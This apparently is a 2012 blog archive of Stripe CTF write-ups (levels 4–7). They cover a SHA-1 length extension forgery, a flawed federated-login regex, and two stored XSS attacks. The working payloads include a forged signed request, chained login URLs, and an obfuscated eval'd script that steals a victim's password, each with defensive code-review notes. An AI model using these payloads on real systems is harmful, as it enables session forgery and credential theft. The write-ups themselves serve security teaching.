Showing posts with label stripe-ctf. Show all posts
Showing posts with label stripe-ctf. Show all posts

Thursday, September 13, 2012

Stripe CTF - Level 7

Level 7 of the Stripe CTF involved running a length extension attack on the level 7 server's custom crypto code.

Code

@app.route('/logs/<int:id>')
@require_authentication
def logs(id): 
    rows = get_logs(id) 
    return render_template('logs.html', logs=rows) 

...

def verify_signature(user_id, sig, raw_params):
    # get secret token for user_id
    try:
        row = g.db.select_one('users', {'id': user_id})
    except db.NotFound:
        raise BadSignature('no such user_id')
    secret = str(row['secret'])

    h = hashlib.sha1()
    h.update(secret + raw_params)
    print 'computed signature', h.hexdigest(), 'for body', repr(raw_params)
    if h.hexdigest() != sig:
        raise BadSignature('signature does not match')
    return True

Issue

The level 7 web app is a web API in which clients submit signed RESTful requests and some actions are restricted to particular clients. The goal is to view the response to one of the restricted actions. The first issue is that there is a logs path to display the previous requests for a user and although the logs path requires the client to be authenticatd, it doesn't restrict the logs you view to be for the user for which you are authenticated. So you can manually change the number in the '/logs/[#]' to '/logs/1' to view the logs for the user ID 1 who can make restricted requests. The level 7 web app can be exploited with replay attacks but you won't find in the logs any of the restricted requests we need to run for our goal. And we can't just modify the requests because they are signed.

However they are signed using their own custom signing code which can be exploited by a length extension attack. All Merkle–Damgård hash algorithms (which includes MD5, and SHA) have the property that if you hash data of the form (secret + data) where data is known and the length but not content of secret is known you can construct the hash for a new message (secret + data + padding + newdata) where newdata is whatever you like and padding is determined using newdata, data, and the length of secret. You can find a sha-padding.py script on VNSecurity blog that will tell you the new hash and padding per the above. With that I produced my new restricted request based on another user's previous request. The original request was the following.

count=10&lat=37.351&user_id=1&long=%2D119.827&waffle=eggo|sig:8dbd9dfa60ef3964b1ee0785a68760af8658048c
The new request with padding and my new content was the following.
count=10&lat=37.351&user_id=1&long=%2D119.827&waffle=eggo%80%02%28&waffle=liege|sig:8dbd9dfa60ef3964b1ee0785a68760af8658048c
My new data in the new request is able to overwrite the waffle parameter because their parser fills in a map without checking if the parameter existed previously.

Notes

Code review red flags included custom crypto looking code. However I am not a crypto expert and it was difficult for me to find the solution to this level.

Tuesday, September 11, 2012

Stripe CTF - Level 5

Level 5 of the Stripe CTF revolved around a design issue in an OpenID like protocol.

Code

    def authenticated?(body)
      body =~ /[^\w]AUTHENTICATED[^\w]*$/
    end

...

      if authenticated?(body)
        session[:auth_user] = username
        session[:auth_host] = host
        return "Remote server responded with: #{body}." \
               " Authenticated as #{username}@#{host}!"

Issue

This level is an implementation of a federated identity protocol. You give it an endpoint URI and a username and password, it posts the username and password to the endpoint URI, and if the response is 'AUTHENTICATED' then access is allowed. It is easy to be authenticated on a server you control, but this level requires you to authenticate from the server running the level. This level only talks to stripe CTF servers so the first step is to upload a document to the level 2 server containing the text 'AUTHENTICATED' and we can now authenticate on a level 2 server. Notice that the level 5 server will dump out the content of the endpoint URI and that the regexp it uses to detect the text 'AUTHENTICATED' can match on that dump. Accordingly I uploaded an authenticated file to

https://level02-2.stripe-ctf.com/user-ajvivlehdt/uploads/authenticated
Using that as my endpoint URI means authenticating as level 2. I can then choose the following endpoint URI to authenticate as level 5.
https://level05-1.stripe-ctf.com/user-qtoyekwrod/?pingback=https%3A%2F%2Flevel02-2.stripe-ctf.com%2Fuser-ajvivlehdt%2Fuploads%2Fauthenticated&username=a&password=a
Navigating to that URI results in the level 5 server telling me I'm authenticated as level 2 and lists the text of the level 2 file 'AUTHENTICATED'. Feeding this back into the level 5 server as my endpoint URI means level 5 seeing 'AUTHENTICATED' coming back from a level 5 URI.

Notes

I didn't see any particular code review red flags, really the issue here is that the regular expression testing for 'AUTHENTICATED' is too permisive and the protocol itself doesn't do enough. The protocol requires only a set piece of common literal text to be returned which makes it easy for a server to accidentally fall into authenticating. Having the endpoint URI have to return variable text based on the input would make it much harder for a server to accidentally authenticate.

Monday, September 10, 2012

Stripe CTF - XSS, CSRF (Levels 4 & 6)

Level 4 and level 6 of the Stripe CTF had solutions around XSS.

Level 4

Code

> Registered Users </h3>
<ul>
  <% @registered_users.each do |user| %>
  <% last_active = user[:last_active].strftime('%H:%M:%S UTC') %>
  <% if @trusts_me.include?(user[:username]) %>
  <li>
    <%= user[:username] %>
    (password: <%= user[:password] %>, last active <%= last_active %>)
  </li>

Issue

The level 4 web application lets you transfer karma to another user and in doing so you are also forced to expose your password to that user. The main user page displays a list of users who have transfered karma to you along with their password. The password is not HTML encoded so we can inject HTML into that user's browser. For instance, we could create an account with the following HTML as the password which will result in XSS with that HTML:

<script>jQuery.post("https://level04-2.stripe-ctf.com/user-kxyiuircqs/transfer", {"to": "l", "amount": 1});</script>
This HTML runs script that uses jQuery to post to the transfer URI resulting in a transfer of karma from the attacked user to the attacker user, and also the attacked user's password.

Notes

Code review red flags in this case included lack of encoding when using user controlled content to create HTML content, storing passwords in plain text in the database, and displaying passwords generally. By design the web app shows users passwords which is a very bad idea.

Level 6

Code

<script> 
    var username = "<%= @username %>"; 
    var post_data = <%= @posts.to_json %>; 

    function escapeHTML(val) { 
       return $('<div/>').text(val).html();
    } 

    function addPost(item) {
       var new_element = '<tr><th>' + escapeHTML(item['user']) + 
          '</th><td><h4>' + escapeHTML(item['title']) + '</h4>' + 
          escapeHTML(item['body']) + '</td></tr>'; $('#posts > tbody:last').prepend(new_element); 
    } 
    
    for(var i = 0; i < post_data.length; i++) { 
       var item = post_data[i]; 
       addPost(item); 
    }; 
</script>

...

    def self.safe_insert(table, key_values)
      key_values.each do |key, value|
        # Just in case people try to exfiltrate
        # level07-password-holder's password
        if value.kind_of?(String) &&
            (value.include?('"') || value.include?("'"))
          raise "Value has unsafe characters"
        end
      end

      conn[table].insert(key_values)
    end

Issue

This web app does a much better job than the level 4 app with HTML injection. They use encoding whenever creating HTML using user controlled data, however they don't use encoding when injecting JSON data into script (see post_data initialization above). This JSON data is the last five most recent messages sent on the app so we get to inject script directly. However, the system also ensures that no strings we write contains single or double quotes so we can't get out of the string in the JSON data directly. As it turns out, HTML lets you jump out of a script block using </script> no matter where you are in script. For instance, in the middle of a value in some JSON data we can jump out of script. But we still want to run script, so we can jump right back in. So the frame so far for the message we're going to post is the following:

</script><script> our new code goes here </script><script>var post_data = [];//
Because we can't use quotes, actually running script takes some creativity. I decided to percent-encode my script so quotes don't show up directly, represent this as a regular expression literal so I don't have to use quotes and to eval this script after decoding. There's likely plenty of other ways to get around lack of quotes.
var code = /percent-encoded script here/.toString();
eval(decodeURIComponent(code.substring(1, code.length - 1))); 
Then the script I actually encode gets the password from the user-info page (which includes password), regexes the password out, and posts it as a message:
jQuery.get("https://level06-2.stripe-ctf.com/user-nhboioztch/user_info").then(function(body) {
var password = /Password:<\/th>[^>]*>([^<]*)/.exec(body)[1];
var encPassword = "";
for (var idx = 0; idx < password.length; ++idx) {
 encPassword += "%";
 encPassword += password.charCodeAt(idx).toString(16);
}

$("#content").val(encPassword);
$("#title").val("password");
document.getElementsByTagName("form")[0].submit();
});
Of course since messages can't include quotes, I have to encode the password before posting it as a message.

Altogether now here's my message:

</script><script>var code = /%6A%51%75%65%72%79%2E%67%65%74%28%22%68%74%74%70%73%3A%2F%2F%6C%65%76%65%6C%30%36%2D%32%2E%73%74%72%69%70%65%2D%63%74%66%2E%63%6F%6D%2F%75%73%65%72%2D%6E%68%62%6F%69%6F%7A%74%63%68%2F%75%73%65%72%5F%69%6E%66%6F%22%29%2E%74%68%65%6E%28%66%75%6E%63%74%69%6F%6E%28%62%6F%64%79%29%20%7B%0A%76%61%72%20%70%61%73%73%77%6F%72%64%20%3D%20%2F%50%61%73%73%77%6F%72%64%3A%3C%5C%2F%74%68%3E%5B%5E%3E%5D%2A%3E%28%5B%5E%3C%5D%2A%29%2F%2E%65%78%65%63%28%62%6F%64%79%29%5B%31%5D%3B%0A%76%61%72%20%65%6E%63%50%61%73%73%77%6F%72%64%20%3D%20%22%22%3B%0A%66%6F%72%20%28%76%61%72%20%69%64%78%20%3D%20%30%3B%20%69%64%78%20%3C%20%70%61%73%73%77%6F%72%64%2E%6C%65%6E%67%74%68%3B%20%2B%2B%69%64%78%29%20%7B%0A%09%65%6E%63%50%61%73%73%77%6F%72%64%20%2B%3D%20%22%25%22%3B%0A%09%65%6E%63%50%61%73%73%77%6F%72%64%20%2B%3D%20%70%61%73%73%77%6F%72%64%2E%63%68%61%72%43%6F%64%65%41%74%28%69%64%78%29%2E%74%6F%53%74%72%69%6E%67%28%31%36%29%3B%0A%7D%0A%0A%24%28%22%23%63%6F%6E%74%65%6E%74%22%29%2E%76%61%6C%28%65%6E%63%50%61%73%73%77%6F%72%64%29%3B%0A%24%28%22%23%74%69%74%6C%65%22%29%2E%76%61%6C%28%22%70%61%73%73%77%6F%72%64%22%29%3B%0A%64%6F%63%75%6D%65%6E%74%2E%67%65%74%45%6C%65%6D%65%6E%74%73%42%79%54%61%67%4E%61%6D%65%28%22%66%6F%72%6D%22%29%5B%30%5D%2E%73%75%62%6D%69%74%28%29%3B%0A%7D%29%3B/.toString(); eval(decodeURIComponent(code.substring(1, code.length - 1))); </script><script>var post_data= [];//

Notes

Code review red flags included storing the password in plain text, displaying the password in an HTML page, lack of encoding when generating script on the server side, and a deny list of dangerous characters (quotes). Generally folks should use allow lists not deny lists. You'll always forget something from your deny list or the platform will change out from under you adding new dangerous entries you didn't consider in your deny list. In this case an allow list probably also doesn't make as much sense as encoding correctly. The first issue I ran into, was when posting the password I forgot to encode and the password did contain quotes. The second issue I ran into was that my injected script posts a message which results in a page refresh, which results in my injected script running again. This continues five times until my injected script message is pushed off the end. I had to be patient waiting for the target attacked user to login before I would refresh and post my own password.